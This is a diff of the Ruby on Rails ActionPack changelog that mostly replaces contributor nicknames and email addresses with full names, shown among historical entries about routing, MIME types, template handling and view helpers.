+* Ensure that render_text only adds string content to the body of the response [David Heinemeier Hansson]
 
 * Return the string representation from an Xml Builder when rendering a partial. Closes #5044 [Tim Pope]
 
-* Fixed that parameters from XML should also be presented in a hash with indifferent access [DHH]
+* Fixed that parameters from XML should also be presented in a hash with indifferent access [David Heinemeier Hansson]
 
-* Tweak template format rules so that the ACCEPT header is only used if it's text/javascript.  This is so ajax actions without a :format param get recognized as Mime::JS. [Rick]
+* Tweak template format rules so that the ACCEPT header is only used if it's text/javascript.  This is so ajax actions without a :format param get recognized as Mime::JS. [Rick Olson]
 
-* The default respond_to blocks don't set a specific extension anymore, so that both 'show.rjs' and 'show.js.rjs' will work. [Rick]
+* The default respond_to blocks don't set a specific extension anymore, so that both 'show.rjs' and 'show.js.rjs' will work. [Rick Olson]
 
 * Allow layouts with extension of .html.erb.  Closes #8032 [Josh Knowles]
 
-* Change default respond_to templates for xml and rjs formats. [Rick]
+* Change default respond_to templates for xml and rjs formats. [Rick Olson]
 
   * Default xml template goes from #{action_name}.rxml => #{action_name}.xml.builder.
   * Default rjs template goes from #{action_name}.rjs => #{action_name}.js.rjs.
@@ -1055,21 +1201,21 @@
       end
     end
 
-* Fix WSOD due to modification of a formatted template extension so that requests to templates like 'foo.html.erb' fail on the second hit.  [Rick]
+* Fix WSOD due to modification of a formatted template extension so that requests to templates like 'foo.html.erb' fail on the second hit.  [Rick Olson]
 
-* Fix WSOD when template compilation fails [Rick]
+* Fix WSOD when template compilation fails [Rick Olson]
 
-* Change ActionView template defaults.  Look for templates using the request format first, such as "show.html.erb" or "show.xml.builder", before looking for the old defaults like "show.erb" or "show.builder" [Rick]
+* Change ActionView template defaults.  Look for templates using the request format first, such as "show.html.erb" or "show.xml.builder", before looking for the old defaults like "show.erb" or "show.builder" [Rick Olson]
 
 * Highlight helper highlights one or many terms in a single pass.  [Jeremy Kemper]
 
-* Dropped the use of ; as a separator of non-crud actions on resources and went back to the vanilla slash. It was a neat idea, but lots of the non-crud actions turned out not to be RPC (as the ; was primarily intended to discourage), but legitimate sub-resources, like /parties/recent, which didn't deserve the uglification of /parties;recent. Further more, the semicolon caused issues with caching and HTTP authentication in Safari. Just Not Worth It [DHH]
+* Dropped the use of ; as a separator of non-crud actions on resources and went back to the vanilla slash. It was a neat idea, but lots of the non-crud actions turned out not to be RPC (as the ; was primarily intended to discourage), but legitimate sub-resources, like /parties/recent, which didn't deserve the uglification of /parties;recent. Further more, the semicolon caused issues with caching and HTTP authentication in Safari. Just Not Worth It [David Heinemeier Hansson]
 
-* Added that FormTagHelper#submit_tag will return to its original state if the submit fails and you're using :disable_with [DHH]
+* Added that FormTagHelper#submit_tag will return to its original state if the submit fails and you're using :disable_with [David Heinemeier Hansson]
 
-* Cleaned up, corrected, and mildly expanded ActionPack documentation.  Closes #7190 [jeremymcanally]
+* Cleaned up, corrected, and mildly expanded ActionPack documentation.  Closes #7190 [Jeremy McAnally]
 
-* Small collection of ActionController documentation cleanups.  Closes #7319 [jeremymcanally]
+* Small collection of ActionController documentation cleanups.  Closes #7319 [Jeremy McAnally]
 
 * Make sure the route expiry hash is constructed by comparing the to_param-ized values of each hash. [Jamis Buck]
 
@@ -1099,19 +1245,19 @@
 * Allow array and hash query parameters. Array route parameters are converted/to/a/path as before.  #6765, #7047, #7462 [bgipsy, Jeremy McAnally, Dan Kubb, brendan]
 
 # Add a #dbman attr_reader for CGI::Session and make CGI::Session::CookieStore#generate_digest public so it's easy to generate digests
-using the cookie store's secret. [Rick]
+using the cookie store's secret. [Rick Olson]
 
-* Added Request#url that returns the complete URL used for the request [DHH]
+* Added Request#url that returns the complete URL used for the request [David Heinemeier Hansson]
 
 * Extract dynamic scaffolding into a plugin.  #7700 [Josh Peek]
 
-* Added user/password options for url_for to add http authentication in a URL [DHH]
+* Added user/password options for url_for to add http authentication in a URL [David Heinemeier Hansson]
 
 * Fixed that FormTagHelper#text_area_tag should disregard :size option if it's not a string [Brendon Davidson]
 
 * Set the original button value in an attribute of the button when using the :disable_with key with submit_tag, so that the original can be restored later. [Jamis Buck]
 
-* session_enabled? works with session :off.  #6680 [Catfish]
+* session_enabled? works with session :off.  #6680 [Jonathan del Strother]
 
 * Added :port and :host handling to UrlRewriter (which unified url_for usage, regardless of whether it's called in view or controller) #7616 [alancfrancis]
 
@@ -1123,7 +1269,7 @@ using the cookie store's secret. [Rick]
 
 * Cookie session store: empty and unchanged sessions don't write a cookie.  [Jeremy Kemper]
 
-* Added helper(:all) as a way to include all helpers from app/helpers/**/*.rb in ApplicationController [DHH]
+* Added helper(:all) as a way to include all helpers from app/helpers/**/*.rb in ApplicationController [David Heinemeier Hansson]
 
 * Integration tests: introduce methods for other HTTP methods.  #6353 [caboose]
 
@@ -1144,7 +1290,7 @@ Roos]
 
 * Added .erb and .builder as preferred aliases to the now deprecated .rhtml and .rxml extensions [Chad Fowler]. This is done to separate the renderer from the mime type. .erb templates are often used to render emails, atom, csv, whatever. So labeling them .rhtml doesn't make too much sense. The same goes for .rxml, which can be used to build everything from HTML to Atom to whatever. .rhtml and .rxml will continue to work until Rails 3.0, though. So this is a slow phasing out. All generators and examples will start using the new aliases, though.
 
-* Added caching option to AssetTagHelper#stylesheet_link_tag and AssetTagHelper#javascript_include_tag [DHH]. Examples:
+* Added caching option to AssetTagHelper#stylesheet_link_tag and AssetTagHelper#javascript_include_tag [David Heinemeier Hansson]. Examples:
 
     stylesheet_link_tag :all, :cache => true # when ActionController::Base.perform_caching is false =>
       <link href="/stylesheets/style1.css"  media="screen" rel="Stylesheet" type="text/css" />
@@ -1159,13 +1305,13 @@ Roos]
 
 * Work around the two connection per host browser limit: use asset%d.myapp.com to distribute asset requests among asset[0123].myapp.com. Use a DNS wildcard or CNAMEs to map these hosts to your asset server. See http://www.die.net/musings/page_load_time/ for background.  [Jeremy Kemper]
 
-* Added default mime type for CSS (Mime::CSS) [DHH]
+* Added default mime type for CSS (Mime::CSS) [David Heinemeier Hansson]
 
-* Added that rendering will automatically insert the etag header on 200 OK responses. The etag is calculated using MD5 of the response body. If a request comes in that has a matching etag, the response will be changed to a 304 Not Modified and the response body will be set to an empty string. [DHH]
+* Added that rendering will automatically insert the etag header on 200 OK responses. The etag is calculated using MD5 of the response body. If a request comes in that has a matching etag, the response will be changed to a 304 Not Modified and the response body will be set to an empty string. [David Heinemeier Hansson]
 
-* Added X-Runtime to all responses with the request run time [DHH]
+* Added X-Runtime to all responses with the request run time [David Heinemeier Hansson]
 
-* Add Mime::Type convenience methods to check the current mime type. [Rick]
+* Add Mime::Type convenience methods to check the current mime type. [Rick Olson]
 
   request.format.html? # => true if Mime::HTML
   request.format.jpg?  # => true if Mime::JPG
@@ -1178,16 +1324,16 @@ Roos]
 
 * Add a :url_based_filename => true option to ActionController::Streaming::send_file, which allows URL-based filenames.  [Thomas Fuchs]
 
-* Fix that FormTagHelper#submit_tag using :disable_with should trigger the onsubmit handler of its form if available [DHH]
+* Fix that FormTagHelper#submit_tag using :disable_with should trigger the onsubmit handler of its form if available [David Heinemeier Hansson]
 
-* Fix #render_file so that TemplateError is called with the correct params and you don't get the WSOD.  [Rick]
+* Fix #render_file so that TemplateError is called with the correct params and you don't get the WSOD.  [Rick Olson]
 
 * Fix issue with deprecation messing up #template_root= usage.  Add #prepend_view_path and #append_view_path to allow modification of a copy of the
-superclass' view_paths.  [Rick]
+superclass' view_paths.  [Rick Olson]
 
 * Allow Controllers to have multiple view_paths instead of a single template_root.  Closes #2754 [John Long]
 
-* Add much-needed html-scanner tests.  Fixed CDATA parsing bug. [Rick]
+* Add much-needed html-scanner tests.  Fixed CDATA parsing bug. [Rick Olson]
 
 * improve error message for Routing for named routes.  Closes #7346 [Rob Sanheim]
 
@@ -1195,15 +1341,15 @@ superclass' view_paths.  [Rick]
 
 * fix form_for example in ActionController::Resources documentation.  Closes #7362 [gnarg]
 
-* Make sure that the string returned by TextHelper#truncate is actually a string, not a char proxy -- that should only be used internally while working on a multibyte-safe way of truncating [DHH]
+* Make sure that the string returned by TextHelper#truncate is actually a string, not a char proxy -- that should only be used internally while working on a multibyte-safe way of truncating [David Heinemeier Hansson]
 
-* Added FormBuilder#submit as a delegate for FormTagHelper#submit_tag [DHH]
+* Added FormBuilder#submit as a delegate for FormTagHelper#submit_tag [David Heinemeier Hansson]
 
 * Allow Routes to generate all urls for a set of options by specifying :generate_all => true. Allows caching to properly set or expire all paths for a resource. References #1739. [Nicholas Seckar]
 
 * Change the query parser to map empty GET params to "" rather than nil. Closes #5694. [Nicholas Seckar]
 
-* date_select and datetime_select take a :default option.  #7052 [nik.wakelin]
+* date_select and datetime_select take a :default option.  #7052 [Nik Wakelin]
     date_select "post", "written_on", :default => 3.days.from_now
     date_select "credit_card", "bill_due", :default => { :day => 20 }
 
@@ -1219,7 +1365,7 @@ superclass' view_paths.  [Rick]
 
 * Change session restoration to allow namespaced models to be autoloaded. Closes #6348. [Nicholas Seckar]
 
-* Fix doubly appearing parameters due to string and symbol mixups. Closes #2551. [aeden]
+* Fix doubly appearing parameters due to string and symbol mixups. Closes #2551. [Anthony Eden]
 
 * Fix overly greedy rescues when loading helpers. Fixes #6268. [Nicholas Seckar]
 
@@ -1239,7 +1385,7 @@ superclass' view_paths.  [Rick]
 
 * Fix #distance_of_time_in_words to report accurately against the Duration class.  #7114 [eventualbuddha]
 
-* Refactor #form_tag to allow easy extending.  [Rick]
+* Refactor #form_tag to allow easy extending.  [Rick Olson]
 
 * Update to Prototype 1.5.0. [Sam Stephenson]
 
@@ -1251,11 +1397,11 @@ superclass' view_paths.  [Rick]
 
 * Allow exempt_from_layout :rhtml.  #6742, #7026 [Dan Manges, Squeegy]
 
-* Recognize the .txt extension as Mime::TEXT [Rick]
+* Recognize the .txt extension as Mime::TEXT [Rick Olson]
 
 * Fix parsing of array[] CGI parameters so extra empty values aren't included.  #6252 [Nicholas Seckar, aiwilliams, brentrowland]
 
-* link_to_unless_current works with full URLs as well as paths.  #6891 [Jarkko Laine, manfred, idrifter]
+* link_to_unless_current works with full URLs as well as paths.  #6891 [Jarkko Laine, Manfred Stienstra, idrifter]
 
 * Lookup the mime type for #auto_discovery_link_tag in the Mime::Type class.  Closes #6941 [Josh Peek]
 
@@ -1301,7 +1447,7 @@ superclass' view_paths.  [Rick]
 
 * Unrescued ActiveRecord::RecordNotFound responds with 404 instead of 500.  [Jeremy Kemper]
 
-* Improved auto_link to match more valid urls correctly [Tobias Luetke]
+* Improved auto_link to match more valid urls correctly [Tobias Lütke]
 
 * Add singleton resources. [Rick Olson]
 
@@ -1324,7 +1470,7 @@ superclass' view_paths.  [Rick]
 
 * Add :index and @auto_index capability to model driven date/time selects.  #847, #2655 [moriq, Doug Fales, Bob Silva]
 
-* Add :order to datetime_select, select_datetime, and select_date.  #1427 [Timothee Peignier, patrick@lenz.sh, Bob Silva]
+* Add :order to datetime_select, select_datetime, and select_date.  #1427 [Timothee Peignier, Patrick Lenz, Bob Silva]
 
 * Added time_select to work with time values in models. Update scaffolding.  #2489, #2833 [Justin Palmer, Andre Caum, Bob Silva]
 
@@ -1334,15 +1480,15 @@ superclass' view_paths.  [Rick]
 
 * Adds :time_separator to select_time and :date_separator to select_datetime. Preserves BC.  #3811 [Bob Silva]
 
-* Added map.root as an alias for map.connect '' [DHH]
+* Added map.root as an alias for map.connect '' [David Heinemeier Hansson]
 
-* Added Request#format to return the format used for the request as a mime type. If no format is specified, the first Request#accepts type is used. This means you can stop using respond_to for anything else than responses [DHH]. Examples:
+* Added Request#format to return the format used for the request as a mime type. If no format is specified, the first Request#accepts type is used. This means you can stop using respond_to for anything else than responses [David Heinemeier Hansson]. Examples:
 
     GET /posts/5.xml   | request.format => Mime::XML
     GET /posts/5.xhtml | request.format => Mime::HTML
     GET /posts/5       | request.format => request.accepts.first (usually Mime::HTML for browsers)
 
-* Added the option for extension aliases to mime type registration [DHH]. Example (already in the default routes):
+* Added the option for extension aliases to mime type registration [David Heinemeier Hansson]. Example (already in the default routes):
 
     Mime::Type.register "text/html", :html, %w( application/xhtml+xml ), %w( xhtml )
   
@@ -1352,9 +1498,9 @@ superclass' view_paths.  [Rick]
 
 * Added CSV to Mime::SET so that respond_to csv will work [Cody Fauser]
 
-* Fixed that HEAD should return the proper Content-Length header (that is, actually use @body.size, not just 0) [DHH]
+* Fixed that HEAD should return the proper Content-Length header (that is, actually use @body.size, not just 0) [David Heinemeier Hansson]
 
-* Added GET-masquarading for HEAD, so request.method will return :get even for HEADs. This will help anyone relying on case request.method to automatically work with HEAD and map.resources will also allow HEADs to all GET actions. Rails automatically throws away the response content in a reply to HEAD, so you don't even need to worry about that. If you, for whatever reason, still need to distinguish between GET and HEAD in some edge case, you can use Request#head? and even Request.headers["REQUEST_METHOD"] for get the "real" answer. Closes #6694 [DHH]
+* Added GET-masquarading for HEAD, so request.method will return :get even for HEADs. This will help anyone relying on case request.method to automatically work with HEAD and map.resources will also allow HEADs to all GET actions. Rails automatically throws away the response content in a reply to HEAD, so you don't even need to worry about that. If you, for whatever reason, still need to distinguish between GET and HEAD in some edge case, you can use Request#head? and even Request.headers["REQUEST_METHOD"] for get the "real" answer. Closes #6694 [David Heinemeier Hansson]
 
 * Update Routing to complain when :controller is not specified by a route. Closes #6669. [Nicholas Seckar]
 
@@ -1403,13 +1549,13 @@ superclass' view_paths.  [Rick]
 
 * Update to latest Prototype, which doesn't serialize disabled form elements, adds clone() to arrays, empty/non-string Element.update() and adds a fixes excessive error reporting in WebKit beta versions [Thomas Fuchs]
 
-* Deprecate start_form_tag and end_form_tag.  Use form_tag / '</form>' from now on.  [Rick]
+* Deprecate start_form_tag and end_form_tag.  Use form_tag / '</form>' from now on.  [Rick Olson]
 
-* Added block-usage to PrototypeHelper#form_remote_tag, document block-usage of FormTagHelper#form_tag [Rick]
+* Added block-usage to PrototypeHelper#form_remote_tag, document block-usage of FormTagHelper#form_tag [Rick Olson]
 
-* Add a 0 margin/padding div around the hidden _method input tag that form_tag outputs.  [Rick]
+* Add a 0 margin/padding div around the hidden _method input tag that form_tag outputs.  [Rick Olson]
 
-* Added block-usage to TagHelper#content_tag [DHH]. Example:
+* Added block-usage to TagHelper#content_tag [David Heinemeier Hansson]. Example:
 
    <% content_tag :div, :class => "strong" %>
      Hello world!
@@ -1418,13 +1564,13 @@ superclass' view_paths.  [Rick]
   Will output:
     <div class="strong">Hello world!</div>
 
-* Deprecated UrlHelper#link_to_image and UrlHelper#link_to :post => true #6409 [BobSilva]
+* Deprecated UrlHelper#link_to_image and UrlHelper#link_to :post => true #6409 [Bob Silva]
 
-* Upgraded NumberHelper with number_to_phone support international formats to comply with ITU E.123 by supporting area codes with less than 3 digits, added precision argument to number_to_human_size (defaults to 1) #6421 [BobSilva]
+* Upgraded NumberHelper with number_to_phone support international formats to comply with ITU E.123 by supporting area codes with less than 3 digits, added precision argument to number_to_human_size (defaults to 1) #6421 [Bob Silva]
 
-* Fixed that setting RAILS_ASSET_ID to "" should not add a trailing slash after assets #6454 [BobSilva/chrismear]
+* Fixed that setting RAILS_ASSET_ID to "" should not add a trailing slash after assets #6454 [Bob Silva/chrismear]
 
-* Force *_url named routes to show the host in ActionView [Rick]
+* Force *_url named routes to show the host in ActionView [Rick Olson]
 
   <%= url_for ... %> # no host
   <%= foo_path %>    # no host
@@ -1434,9 +1580,9 @@ superclass' view_paths.  [Rick]
 
 * Add JavaScriptGenerator#literal for wrapping a string in an object whose #to_json is the string itself. [Sam Stephenson]
 
-* Add <%= escape_once html %> to escape html while leaving any currently escaped entities alone.  Fix button_to double-escaping issue. [Rick]
+* Add <%= escape_once html %> to escape html while leaving any currently escaped entities alone.  Fix button_to double-escaping issue. [Rick Olson]
 
-* Fix double-escaped entities, such as &amp;amp;, &amp;#123;, etc. [Rick]
+* Fix double-escaped entities, such as &amp;amp;, &amp;#123;, etc. [Rick Olson]
 
 * Fix deprecation warnings when rendering the template error template. [Nicholas Seckar]
 
@@ -1462,7 +1608,7 @@ superclass' view_paths.  [Rick]
 
 * Rename test assertion to prevent shadowing. Closes #6306. [psross]
 
-* Fixed that NumberHelper#number_to_delimiter should respect precision of higher than two digits #6231 [phallstrom]
+* Fixed that NumberHelper#number_to_delimiter should respect precision of higher than two digits #6231 [Philip Hallstrom]
 
 * Fixed that FormHelper#radio_button didn't respect an :id being passed in #6266 [evansj]
 
@@ -1476,7 +1622,7 @@ superclass' view_paths.  [Rick]
     
   Which is needed for dealing with the IE6 DOM when it's not yet fully loaded.
 
-* Fixed that rescue template path shouldn't be hardcoded, then it's easier to hook in your own #6295 [mnaberez]
+* Fixed that rescue template path shouldn't be hardcoded, then it's easier to hook in your own #6295 [Mike Naberezny]
 
 * Fixed escaping of backslashes in JavaScriptHelper#escape_javascript #6302 [sven@c3d2.de]
 
@@ -1517,7 +1663,7 @@ superclass' view_paths.  [Rick]
 
 * Rescue Errno::ECONNRESET to handle an unexpectedly closed socket connection. Improves SCGI reliability.  #3368, #6226 [sdsykes, fhanshaw@vesaria.com]
 
-* Added that respond_to blocks will automatically set the content type to be the same as is requested [DHH]. Examples:
+* Added that respond_to blocks will automatically set the content type to be the same as is requested [David Heinemeier Hansson]. Examples:
 
     respond_to do |format|
       format.html { render :text => "I'm being sent as text/html" }
@@ -1525,9 +1671,9 @@ superclass' view_paths.  [Rick]
       format.atom { render :text => "I'm being sent as application/xml", :content_type => Mime::XML }
     end
 
-* Added utf-8 as the default charset for all renders. You can change this default using ActionController::Base.default_charset=(encoding) [DHH]
+* Added utf-8 as the default charset for all renders. You can change this default using ActionController::Base.default_charset=(encoding) [David Heinemeier Hansson]
 
-* Added proper getters and setters for content type and charset [DHH]. Example of what we used to do:
+* Added proper getters and setters for content type and charset [David Heinemeier Hansson]. Example of what we used to do:
 
     response.headers["Content-Type"] = "application/atom+xml; charset=utf-8"
   
@@ -1562,7 +1708,7 @@ superclass' view_paths.  [Rick]
 
 * Load helpers in alphabetical order for consistency. Resolve cyclic javascript_helper dependency.  #6132, #6178 [choonkeat@gmail.com]
 
-* Skip params with empty names, such as the &=Save query string from <input type="submit"/>.  #2569 [manfred, raphinou@yahoo.com]
+* Skip params with empty names, such as the &=Save query string from <input type="submit"/>.  #2569 [Manfred Stienstra, raphinou@yahoo.com]
 
 * Fix assert_tag so that :content => "foo" does not match substrings, but only exact strings. Use :content => /foo/ to match substrings. #2799 [Eric Hodel]
 
@@ -1572,7 +1718,7 @@ superclass' view_paths.  [Rick]
 
 * Update UrlWriter to support :only_path. [Nicholas Seckar, Dave Thomas]
 
-* Fixed JavaScriptHelper#link_to_function and JavaScriptHelper#button_to_function to have the script argument be optional [DHH]. So what used to require a nil, like this:
+* Fixed JavaScriptHelper#link_to_function and JavaScriptHelper#button_to_function to have the script argument be optional [David Heinemeier Hansson]. So what used to require a nil, like this:
 
     link_to("Hider", nil, :class => "hider_link") { |p| p[:something].hide }
   
@@ -1593,7 +1739,7 @@ superclass' view_paths.  [Rick]
 
 * Fixed that AssetTagHelper#image_tag and others using compute_public_path should not modify the incoming source argument (closes #5102) [eule@space.ch]
 
-* Deprecated the auto-appending of .png to AssetTagHelper#image_tag calls that doesn't have an extension [DHH] 
+* Deprecated the auto-appending of .png to AssetTagHelper#image_tag calls that doesn't have an extension [David Heinemeier Hansson] 
 
 * Fixed FormOptionsHelper#select to respect :selected value #5813
 
@@ -1603,16 +1749,16 @@ superclass' view_paths.  [Rick]
 
 * Improved resolution of DateHelper#distance_of_time_in_words for better precision #5994 [Bob Silva]
 
-* Changed that uncaught exceptions raised any where in the application will cause RAILS_ROOT/public/500.html to be read and shown instead of just the static "Application error (Rails)" [DHH]
+* Changed that uncaught exceptions raised any where in the application will cause RAILS_ROOT/public/500.html to be read and shown instead of just the static "Application error (Rails)" [David Heinemeier Hansson]
 
 * Integration tests: thoroughly test ActionController::Integration::Session.  #6022 [Kevin Clark]
     (tests skipped unless you `gem install mocha`)
 
-* Added deprecation language for pagination which will become a plugin by Rails 2.0 [DHH]
+* Added deprecation language for pagination which will become a plugin by Rails 2.0 [David Heinemeier Hansson]
 
-* Added deprecation language for in_place_editor and auto_complete_field that both pieces will become plugins by Rails 2.0 [DHH]
+* Added deprecation language for in_place_editor and auto_complete_field that both pieces will become plugins by Rails 2.0 [David Heinemeier Hansson]
 
-* Deprecated all of ActionController::Dependencies. All dependency loading is now handled from Active Support [DHH]
+* Deprecated all of ActionController::Dependencies. All dependency loading is now handled from Active Support [David Heinemeier Hansson]
 
 * Added assert_select* for CSS selector-based testing (deprecates assert_tag) #5936 [assaf.arkin@gmail.com]
 
@@ -1630,7 +1776,7 @@ superclass' view_paths.  [Rick]
 
 * Add routing tests to assert that RoutingError is raised when conditions aren't met.  Closes #6016 [Nathan Witmer]
 
-* Deprecation: update docs. #5998 [jakob@mentalized.net, Kevin Clark]
+* Deprecation: update docs. #5998 [Jakob Skjerning, Kevin Clark]
 
 * Make auto_link parse a greater subset of valid url formats. [Jamis Buck]
 
@@ -1640,15 +1786,15 @@ superclass' view_paths.  [Rick]
 
 * Fix send_data documentation typo.  #5982 [brad@madriska.com]
 
-* Switch to using FormEncodedPairParser for parsing request parameters. [Nicholas Seckar, DHH]
+* Switch to using FormEncodedPairParser for parsing request parameters. [Nicholas Seckar, David Heinemeier Hansson]
 
-* respond_to .html now always renders #{action_name}.rhtml so that registered custom template handlers do not override it in priority. Custom mime types require a block and throw proper error now. [Tobias Luetke]
+* respond_to .html now always renders #{action_name}.rhtml so that registered custom template handlers do not override it in priority. Custom mime types require a block and throw proper error now. [Tobias Lütke]
 
 * Deprecation: test deprecated instance vars in partials. [Jeremy Kemper]
 
 * Add UrlWriter to allow writing urls from Mailers and scripts. [Nicholas Seckar]
 
-* Clean up and run the Active Record integration tests by default.  #5854 [kevin.clark@gmail.com, Jeremy Kemper]
+* Clean up and run the Active Record integration tests by default.  #5854 [Kevin Clark, Jeremy Kemper]
 
 * Correct example in cookies docs.  #5832 [jessemerriman@warpmail.net]
 
@@ -1676,7 +1822,7 @@ superclass' view_paths.  [Rick]
 
 * Deprecation! @params, @session, @flash will be removed after 1.2. Use the corresponding instance methods instead. You'll get printed warnings during tests and logged warnings in dev mode when you access either instance variable directly. [Jeremy Kemper]
 
-* Make Routing noisy when an anchor regexp is assigned to a segment. #5674 [francois.beausoleil@gmail.com]
+* Make Routing noisy when an anchor regexp is assigned to a segment. #5674 [François Beausoleil]
 
 * Added months and years to the resolution of DateHelper#distance_of_time_in_words, such that "60 days ago" becomes "2 months ago" #5611 [pjhyett@gmail.com]
 
@@ -1696,7 +1842,7 @@ superclass' view_paths.  [Rick]
 
 * Fixed the new_#{resource}_url route and added named route tests for Simply Restful.  [Rick Olson]
 
-* Added map.resources from the Simply Restful plugin [DHH]. Examples (the API has changed to use plurals!):
+* Added map.resources from the Simply Restful plugin [David Heinemeier Hansson]. Examples (the API has changed to use plurals!):
 
     map.resources :messages
     map.resources :messages, :comments
@@ -1704,13 +1850,13 @@ superclass' view_paths.  [Rick]
 
 * Fixed that integration simulation of XHRs should set Accept header as well [Edward Frederick]
 
-* TestRequest#reset_session should restore a TestSession, not a hash [Koz]
+* TestRequest#reset_session should restore a TestSession, not a hash [Michael Koziarski]
 
 * Don't search a load-path of '.' for controller files [Jamis Buck]
 
 * Update integration.rb to require test_process explicitly instead of via Dependencies. [Nicholas Seckar]
 
-* Fixed that you can still access the flash after the flash has been reset in reset_session.  Closes #5584 [lmarlow@yahoo.com]
+* Fixed that you can still access the flash after the flash has been reset in reset_session.  Closes #5584 [lmarlow]
 
 * Allow form_for and fields_for to work with indexed form inputs.  [Jeremy Kemper, Matt Lyon]
 
@@ -1719,13 +1865,13 @@ superclass' view_paths.  [Rick]
 
 * Remove leak in development mode by replacing define_method with module_eval. [Nicholas Seckar]
 
-* Provide support for decimal columns to form helpers. Closes #5672. [dave@pragprog.com]
+* Provide support for decimal columns to form helpers. Closes #5672. [Dave Thomas]
 
 * Update documentation for erb trim syntax. #5651 [matt@mattmargolis.net]
 
 * Pass :id => nil or :class => nil to error_messages_for to supress that html attribute. #3586 [olivier_ansaldi@yahoo.com, sebastien@goetzilla.info]
 
-* Reset @html_document between requests so assert_tag works. #4810 [jarkko@jlaine.net, easleydp@gmail.com]
+* Reset @html_document between requests so assert_tag works. #4810 [Jarkko Laine, easleydp@gmail.com]
 
 * Update render :partial documentation. #5646 [matt@mattmargolis.net]
 
@@ -1735,21 +1881,21 @@ superclass' view_paths.  [Rick]
 
 * Fixed that real files and symlinks should be treated the same when compiling templates #5438 [zachary@panandscan.com]
 
-* Fixed that the flash should be reset when reset_session is called #5584 [shugo@ruby-lang.org]
+* Fixed that the flash should be reset when reset_session is called #5584 [Shugo Maeda]
 
 * Added special case for "1 Byte" in NumberHelper#number_to_human_size #5593 [murpyh@rubychan.de]
 
-* Fixed proper form-encoded parameter parsing for requests with "Content-Type: application/x-www-form-urlencoded; charset=utf-8" (note the presence of a charset directive) [DHH]
+* Fixed proper form-encoded parameter parsing for requests with "Content-Type: application/x-www-form-urlencoded; charset=utf-8" (note the presence of a charset directive) [David Heinemeier Hansson]
 
 * Add route_name_path method to generate only the path for a named routes. For example, map.person will add person_path. [Nicholas Seckar]
 
 * Avoid naming collision among compiled view methods. [Jeremy Kemper]
 
-* Fix CGI extensions when they expect string but get nil in Windows. Closes #5276 [mislav@nippur.irb.hr]
+* Fix CGI extensions when they expect string but get nil in Windows. Closes #5276 [Mislav Marohnić]
 
 * Determine the correct template_root for deeply nested components.  #2841 [s.brink@web.de]
 
-* Fix that routes with *path segments in the recall can generate URLs. [Rick]
+* Fix that routes with *path segments in the recall can generate URLs. [Rick Olson]
 
 * Fix strip_links so that it doesn't hang on multiline <acronym> tags [Jamis Buck]
 
@@ -1767,11 +1913,11 @@ superclass' view_paths.  [Rick]
 
 * Rewind readable CGI params so others may reread them (such as CGI::Session when passing the session id in a multipart form).  #210 [mklame@atxeu.com, matthew@walker.wattle.id.au]
 
-* Added Mime::TEXT (text/plain) and Mime::ICS (text/calendar) as new default types [DHH]
+* Added Mime::TEXT (text/plain) and Mime::ICS (text/calendar) as new default types [David Heinemeier Hansson]
 
-* Added Mime::Type.register(string, symbol, synonyms = []) for adding new custom mime types [DHH]. Example: Mime::Type.register("image/gif", :gif)
+* Added Mime::Type.register(string, symbol, synonyms = []) for adding new custom mime types [David Heinemeier Hansson]. Example: Mime::Type.register("image/gif", :gif)
 
-* Added support for Mime objects in render :content_type option [DHH]. Example: render :text => some_atom, :content_type => Mime::ATOM
+* Added support for Mime objects in render :content_type option [David Heinemeier Hansson]. Example: render :text => some_atom, :content_type => Mime::ATOM
 
 * Add :status option to send_data and send_file. Defaults to '200 OK'.  #5243 [Manfred Stienstra <m.stienstra@fngtps.com>]
 
@@ -1785,7 +1931,7 @@ superclass' view_paths.  [Rick]
 
 * Accept multipart PUT parameters. #5235 [guy.naor@famundo.com]
 
-* Added interrogation of params[:format] to determine Accept type. If :format is specified and matches a declared extension, like "rss" or "xml", that mime type will be put in front of the accept handler. This means you can link to the same action from different extensions and use that fact to determine output [DHH]. Example:
+* Added interrogation of params[:format] to determine Accept type. If :format is specified and matches a declared extension, like "rss" or "xml", that mime type will be put in front of the accept handler. This means you can link to the same action from different extensions and use that fact to determine output [David Heinemeier Hansson]. Example:
 
   class WeblogController < ActionController::Base
     def index
@@ -1818,13 +1964,13 @@ superclass' view_paths.  [Rick]
   
   All this relies on the fact that you have a route that includes .:format.
   
-* Expanded :method option in FormTagHelper#form_tag, FormHelper#form_for, PrototypeHelper#remote_form_for, PrototypeHelper#remote_form_tag, and PrototypeHelper#link_to_remote to allow for verbs other than GET and POST by automatically creating a hidden form field named _method, which will simulate the other verbs over post [DHH]
+* Expanded :method option in FormTagHelper#form_tag, FormHelper#form_for, PrototypeHelper#remote_form_for, PrototypeHelper#remote_form_tag, and PrototypeHelper#link_to_remote to allow for verbs other than GET and POST by automatically creating a hidden form field named _method, which will simulate the other verbs over post [David Heinemeier Hansson]
 
-* Added :method option to UrlHelper#link_to, which allows for using other verbs than GET for the link. This replaces the :post option, which is now deprecated. Example: link_to "Destroy", person_url(:id => person), :method => :delete [DHH]
+* Added :method option to UrlHelper#link_to, which allows for using other verbs than GET for the link. This replaces the :post option, which is now deprecated. Example: link_to "Destroy", person_url(:id => person), :method => :delete [David Heinemeier Hansson]
 
 * follow_redirect doesn't complain about being redirected to the same controller. #5153 [dymo@mk.ukrtelecom.ua]
 
-* Add layout attribute to response object with the name of the layout that was rendered, or nil if none rendered. [Kevin Clark kevin.clark@gmail.com]
+* Add layout attribute to response object with the name of the layout that was rendered, or nil if none rendered. [Kevin Clark]
 
 * Fix NoMethodError when parsing params like &&. [Adam Greenfield]
 
@@ -1834,7 +1980,7 @@ superclass' view_paths.  [Rick]
 
 * Excise ingrown code from FormOptionsHelper#options_for_select. #5008 [anonymous]
 
-* Small fix in routing to allow dynamic routes (broken after [4242]) [Rick]
+* Small fix in routing to allow dynamic routes (broken after [4242]) [Rick Olson]
 
     map.connect '*path', :controller => 'files', :action => 'show'
 
@@ -1846,7 +1992,7 @@ superclass' view_paths.  [Rick]
 
 * Documentation fix: integration test scripts don't require integration_test. Closes #4914. [Frederick Ros <sl33p3r@free.fr>]
 
-* ActionController::Base Summary documentation rewrite. Closes #4900. [kevin.clark@gmail.com]
+* ActionController::Base Summary documentation rewrite. Closes #4900. [Kevin Clark]
 
 * Fix text_helper.rb documentation rendering. Closes #4725. [Frederick Ros]
 
@@ -1858,9 +2004,9 @@ superclass' view_paths.  [Rick]
 
 * Enhance documentation for setting headers in integration tests. Skip auto HTTP prepending when its already there. Closes #4079. [Rick Olson]
 
-* Documentation for AbstractRequest. Closes #4895. [kevin.clark@gmail.com] 
